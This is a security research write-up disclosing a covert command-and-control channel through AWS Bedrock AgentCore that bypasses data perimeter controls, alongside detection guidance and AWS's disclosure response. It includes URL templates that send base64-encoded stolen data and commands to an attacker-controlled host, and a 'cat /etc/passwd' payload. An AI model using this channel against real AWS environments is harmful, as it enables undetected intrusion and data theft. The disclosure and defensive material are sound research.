No Way Out? Bypassing the AWS Data Perimeter with Bedrock AgentCore
A novel Command-and-Control (C2) channel weaponizes legitimate AWS services to establish two data channels, successfully circumventing one of the cloud’s strongest security defenses. Status: Infiltration Channel is FIXED, Exfiltration Channel is OPEN.
TL;DR
- An attacker with a single code execution foothold on an AI agent building component inside a Data Perimeter protected AWS environment can establish a full bidirectional C2 channel.
- [OPEN] Data flows out through AgentCore’s JWT discovery URL validation as server-side requests that originate from AWS infrastructure. AWS considers this standard OIDC behavior and is evaluating adding IAM condition keys as a defense-in-depth improvement.
- [FIXED] Commands previously flowed in through the unauthenticated GetRuntimeProtectedResourceMetadata API. AWS has deployed a fix enforcing VPC endpoint policies on this API across all production regions.
- The infiltration side produces no CloudTrail events whatsoever.
This research was presented at fwd:cloudsec North America 2026. Watch the full talk below.
What Is the AWS Data Perimeter?
For the most security-conscious organizations on AWS, including banks, healthcare providers, and government agencies, the data perimeter is the foundation of their data protection strategy. It is the cloud-native equivalent of the on-premises network perimeter, built from IAM policies, VPC endpoint restrictions, and organizational guardrails instead of firewalls and proxies.
The data perimeter answers one question for every API call: should this access be allowed? It does so by simultaneously evaluating three conditions:
- Trusted identity: Does the IAM principal belong to my organization?
- Trusted resource: Does the target resource belong to my organization?
- Expected network: Is the request coming from my VPC, VPC endpoints, or on-premises network?
All three must be true. A single failure denies the request entirely.
This is not a single chokepoint that can be bypassed. It is a three-dimensional enforcement model where every request is validated across all three dimensions, which is exactly what makes it so powerful.
Service Control Policies (SCPs) set organization-wide guardrails that no individual account can override. VPC endpoint policies restrict which identities and resources can be accessed through your network endpoints. Resource-based policies on S3 buckets, KMS keys, and other services restrict who can touch each resource and from where.

This is the best available protection for your data in AWS. It is also what we are about to bypass.
The Threat Scenario
Consider any organization running sensitive workloads on AWS, workloads protected by strict access controls and a comprehensive data perimeter. Their security team has invested heavily in locking down every path in and out.
But no environment is impenetrable. A poisoned package in the build pipeline, a malicious email attachment, a trojanized internal tool, any of these can give an attacker one-time code execution inside the environment.
With that foothold, the attacker has two objectives:
- Persistence: The initial execution is ephemeral. The attacker needs a continuous channel to send commands into the environment and maintain an interactive session over time.
- Data exfiltration: The ultimate goal is to extract sensitive data, but every outbound path is locked down by the data perimeter.
In a traditional attack, the next step would be establishing a C2 channel, a bidirectional link between the attacker and the compromised workload. With a data perimeter in place, this should be impossible. The attacker cannot reach external servers. They cannot send data to an account outside the organization through S3, SQS, or any other AWS service.
Enter Bedrock AgentCore
Amazon Bedrock AgentCore is a managed service for deploying and running AI agents on AWS. By default, AgentCore Runtimes use IAM SigV4 authentication. However, AgentCore also supports a second mode: inbound JWT authorization, which allows customers to configure their agent runtime to accept OAuth 2.0 Bearer tokens from any external identity provider, Cognito, Okta, or anything else that speaks OIDC.
When creating an AgentCore Runtime with JWT authorization, the customer provides an authorizerConfiguration containing a discovery URL, an OpenID Connect well-known endpoint pointing to the authorization server:
https://<authorization-server>/.well-known/openid-configuration
Copied
Additionally, when a client invokes a JWT-protected runtime without a token, AgentCore returns a 401 Unauthorized response with a WWW-Authenticate header containing a protected resource metadata (PRM) URL:
WWW-Authenticate: Bearer resource_metadata="https://bedrock-agentcore.<region>.amazonaws.com/runtimes/<ARN>/invocations/.well-known/oauth-protected-resource?qualifier=<QUALIFIER>"Copied
This unauthenticated endpoint, exposed via the GetRuntimeProtectedResourceMetadata API, allows any client to discover which authorization server protects a given agent runtime.
These two mechanisms are the building blocks of the attack.
The Two Channels
Channel 1: Data Exfiltration via the Discovery URL
When a JWT-protected runtime is created or updated, AgentCore issues a server-side request to the configured discovery URL to validate it. Critically, this request originates from AWS infrastructure, not from the customer’s network. It is not subject to VPC endpoint policies, security groups, or any network-level restriction the customer has configured.
By encoding sensitive data into the URL path of the discovery endpoint, an attacker can exfiltrate information with each runtime update. The request reaches the attacker’s server as a standard HTTPS call from AWS, completely bypassing the customer’s data perimeter.


Channel 2: Command Infiltration via Protected Resource Metadata
The reverse channel uses GetRuntimeProtectedResourceMetadata, an unauthenticated API. The attacker deploys an AgentCore Runtime in their own AWS account and configures it with a discovery URL that embeds commands. The victim’s compromised workload queries the PRM endpoint on the attacker’s runtime and extracts those embedded commands.
Crucially, the PRM endpoint is accessible through a VPC endpoint even when the endpoint policy is set to deny all traffic. And calls to GetRuntimeProtectedResourceMetadata are not logged in CloudTrail, making the infiltration side of this C2 completely invisible to log-based detection.


Together, these two channels form a complete bidirectional C2 that bypasses the AWS data perimeter: data flows out through the server-side request to the discovery URL, commands flow in through the protected resource metadata (which is not bound by VPCE policies), all using legitimate AWS service functionality.
Technical Deep Dive: How the C2 Works
Architecture
The C2 consists of two components:
- Attacker controller: An AWS Lambda function with a Function URL in the attacker’s own AWS account, backed by DynamoDB for storing command results.
- Victim agent: A script running on the compromised workload inside the target’s data perimeter.
Communication between the two never traverses the victim’s network directly. It is mediated entirely through AgentCore APIs and AWS infrastructure.
Command Infiltration
The attacker embeds a command into a discovery URL by calling UpdateAgentRuntime on their own runtime:
<ATTACKER_URL>/INFILTRATION/<COMMAND_ID>/<BASE64_COMMAND>/.well-known/openid-configurationCopied
The victim polls the PRM endpoint on the attacker’s runtime. The response returns this URL in the authorization_servers field. The victim parses it, extracts, and base64-decodes the command, and executes it via the shell.
On the attacker side, sending a command is as simple as:
POST /command
Body: { "command": "cat /etc/passwd" }
Copied
The victim polls the PRM endpoint on the attacker’s runtime. The response returns this URL in the authorization_servers field. The victim parses it, extracts, and base64-decodes the command, and executes it via the shell.
On the attacker side, sending a command is as simple as:
POST /command
Body: { "command": "cat /etc/passwd" }
Copied
The Lambda generates a unique command ID, base64-encodes the payload, and calls UpdateAgentRuntime. The next poll picks it up.
Data Exfiltration
After executing a command, the victim base64-encodes the output and splits it into ordered chunks. For each chunk, it calls UpdateAgentRuntime on the victim’s own runtime with the discovery URL set to:
<ATTACKER_URL>/<COMMAND_ID>/<PART_INDEX>_<TOTAL_PARTS>/<BASE64_CHUNK>/.well-known/openid-configurationCopied
AgentCore validates this URL by issuing a server-side GET request to the attacker’s Lambda. The Lambda parses the URL path, extracts the command ID, chunk index, total parts, and data, and stores each chunk in DynamoDB. Once all chunks for a command have arrived, the Lambda assembles them in order, decodes the payload, and returns the result to the operator.
The attacker’s Lambda always responds with a valid-looking OIDC discovery document pointing to a real issuer, so AgentCore’s validation completes without errors.
End-to-End Flow
- Attacker issues a command via the controller Lambda
- Command is embedded into the infiltration runtime’s discovery URL via
UpdateAgentRuntime - Victim polls the PRM endpoint and retrieves the embedded command
- Victim executes the command (e.g., fetching a sensitive S3 object)
- Victim base64-encodes the output and updates its own runtime’s discovery URL with the data chunks
- AgentCore issues server-side validation requests to the attacker’s Lambda for each chunk
- Lambda assembles the chunks in DynamoDB and returns the result to the operator
Limitations
Large outputs require multiple UpdateAgentRuntime calls. Each call takes a few seconds due to the API’s eventual consistency; the victim must wait for the runtime to leave the UPDATING state before issuing the next chunk. In our testing, a single discovery URL can carry approximately 5KB of encoded data per call.
Demo
Detection
The C2 operates through legitimate AWS API calls, but it does leave traces that a well-instrumented organization can monitor for.
CloudTrail Signals
Every CreateAgentRuntime and UpdateAgentRuntime call is logged. The key indicator is frequency and pattern. Under normal operations, an agent runtime’s configuration changes infrequently, during deployments or maintenance windows. A workload calling UpdateAgentRuntime repeatedly every few seconds with a changing discovery URL is highly anomalous.
Alert on:
- Unusual frequency of
UpdateAgentRuntimeevents from a single principal - Discovery URLs pointing to unexpected or unrecognized domains
- Discovery URL paths containing base64-encoded segments or unusually long path components
UpdateAgentRuntimecalls originating from workload roles that have no business modifying agent runtime configuration
The Blind Spot: PRM Calls Are Not Logged
Unlike the exfiltration channel, calls to GetRuntimeProtectedResourceMetadata produce no CloudTrail events. The infiltration side of the C2 is completely invisible to log-based detection. The only way to detect it is through a runtime sensor on the workload itself, monitoring outbound API calls at the process level. Calls targeting agent runtimes in external accounts are a strong signal; in normal usage, a workload would only query the PRM endpoint of runtimes within its own organization.
CSPM Rules
Cloud Security Posture Management tools can be configured to flag AgentCore Runtimes whose discovery URL points to a domain outside the organization’s known identity providers. Any runtime with a discovery URL not matching an approved list, Cognito, Okta, your internal IdP, should be flagged.
Mitigation
The effectiveness of this attack lies in its exploitation of legitimate service architecture to circumvent the data perimeter’s core pillars. Channel 1 (Data Exfiltration) bypassed all customer-configured network controls because the discovery URL validation request originates from AWS infrastructure rather than the customer’s VPC. Simultaneously, Channel 2 (Command Infiltration) remained effective because the PRM endpoint was accessible through VPC endpoints even when under strict deny-all policies. Crucially, these vulnerabilities were rooted in intended service behaviors rather than customer misconfigurations.
That said, organizations should apply least privilege to AgentCore control plane APIs. CreateAgentRuntime and UpdateAgentRuntime should be restricted to the roles that genuinely need them – typically CI/CD pipelines and infrastructure-as-code tooling. This raises the bar for an attacker who has achieved initial code execution, but does not eliminate the risk.
Conclusion
This research demonstrates that prior to AWS’s remediation, a two-part attack against the AWS data perimeter using Amazon Bedrock AgentCore’s identity service was possible. The Command Infiltration channel is now [FIXED] as AWS has deployed a fix enforcing VPC endpoint policies on the API. However, the Data Exfiltration channel remains [OPEN] as AWS considers it standard OIDC behavior and is evaluating further defense-in-depth improvements. The existence of these channels highlighted how a single foothold could be weaponized using legitimate AWS service traffic to establish a bidirectional link. As noted in AWS’s response, this server-side fetch behavior is standard across AWS services, suggesting that similar data paths probably exist in other services with OIDC discovery functionality.
As cloud and SaaS providers introduce new services with new identity and authorization mechanisms, each one becomes a potential new vector that the security controls must account for. The attack surface is not static. Security teams evaluating AI services need to understand not just what services do, but how their authentication mechanisms interact with the broader network boundary, because, as shown here, the two are not always aligned.
AWS’s Response
Following our responsible disclosure, AWS shared a public statement:
AWS investigated and resolved the reported behavior related to VPC endpoint policy enforcement on the Bedrock AgentCore Protected Resource Metadata endpoint.
This research describes a scenario in which the Amazon Bedrock AgentCore Protected Resource Metadata API did not enforce VPC endpoint policies, potentially allowing unauthenticated queries to this API through VPC endpoints configured with restrictive deny policies. The described scenario required specific IAM permissions (bedrock-agentcore:CreateAgentRuntime and bedrock-agentcore:UpdateAgentRuntime), which are not granted by default.
Our analysis confirmed no customer impact and no evidence of misuse.
On April 27, 2026, AWS released updates that enforce VPC endpoint policies on this API across all production regions. No customer action is required. The fix ensures VPC endpoint policies are now enforced on this API automatically, including blocking cross-account lookups for data perimeter enforcement [1].
The research also describes the use of AgentCore’s OIDC discovery URL as a potential data channel. Amazon Bedrock AgentCore Runtime supports OAuth 2.0 / OIDC inbound authentication for agents. As part of this support, AgentCore performs a server-side HTTP request to a customer-configured discovery URL to validate identity provider metadata, consistent with RFC 8414 and RFC 9728. This server-side fetch originates from AgentCore-owned network infrastructure, as is standard for OIDC client behavior across AWS services. Customers control which workloads can configure discovery URLs via the IAM actions bedrock-agentcore:CreateAgentRuntime and bedrock-agentcore:UpdateAgentRuntime [2]. This behavior is by design.
[1] https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/vpc-interface-endpoints.html
[2] https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-oauth.html
We appreciate Dan Gansel of Upwind Security for reporting this finding and collaborating with AWS.
References
- AWS, Building a Data Perimeter on AWS, June 2023. https://docs.aws.amazon.com/whitepapers/latest/building-a-data-perimeter-on-aws/building-a-data-perimeter-on-aws.html
- AWS, Authenticate and authorize with Inbound Auth and Outbound Auth. https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-oauth.html
- AWS, Configure inbound JWT authorizer.https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/inbound-jwt-authorizer.html
About the Author: Dan Gansel, Security Researcher at Upwind Security. Learn more here.


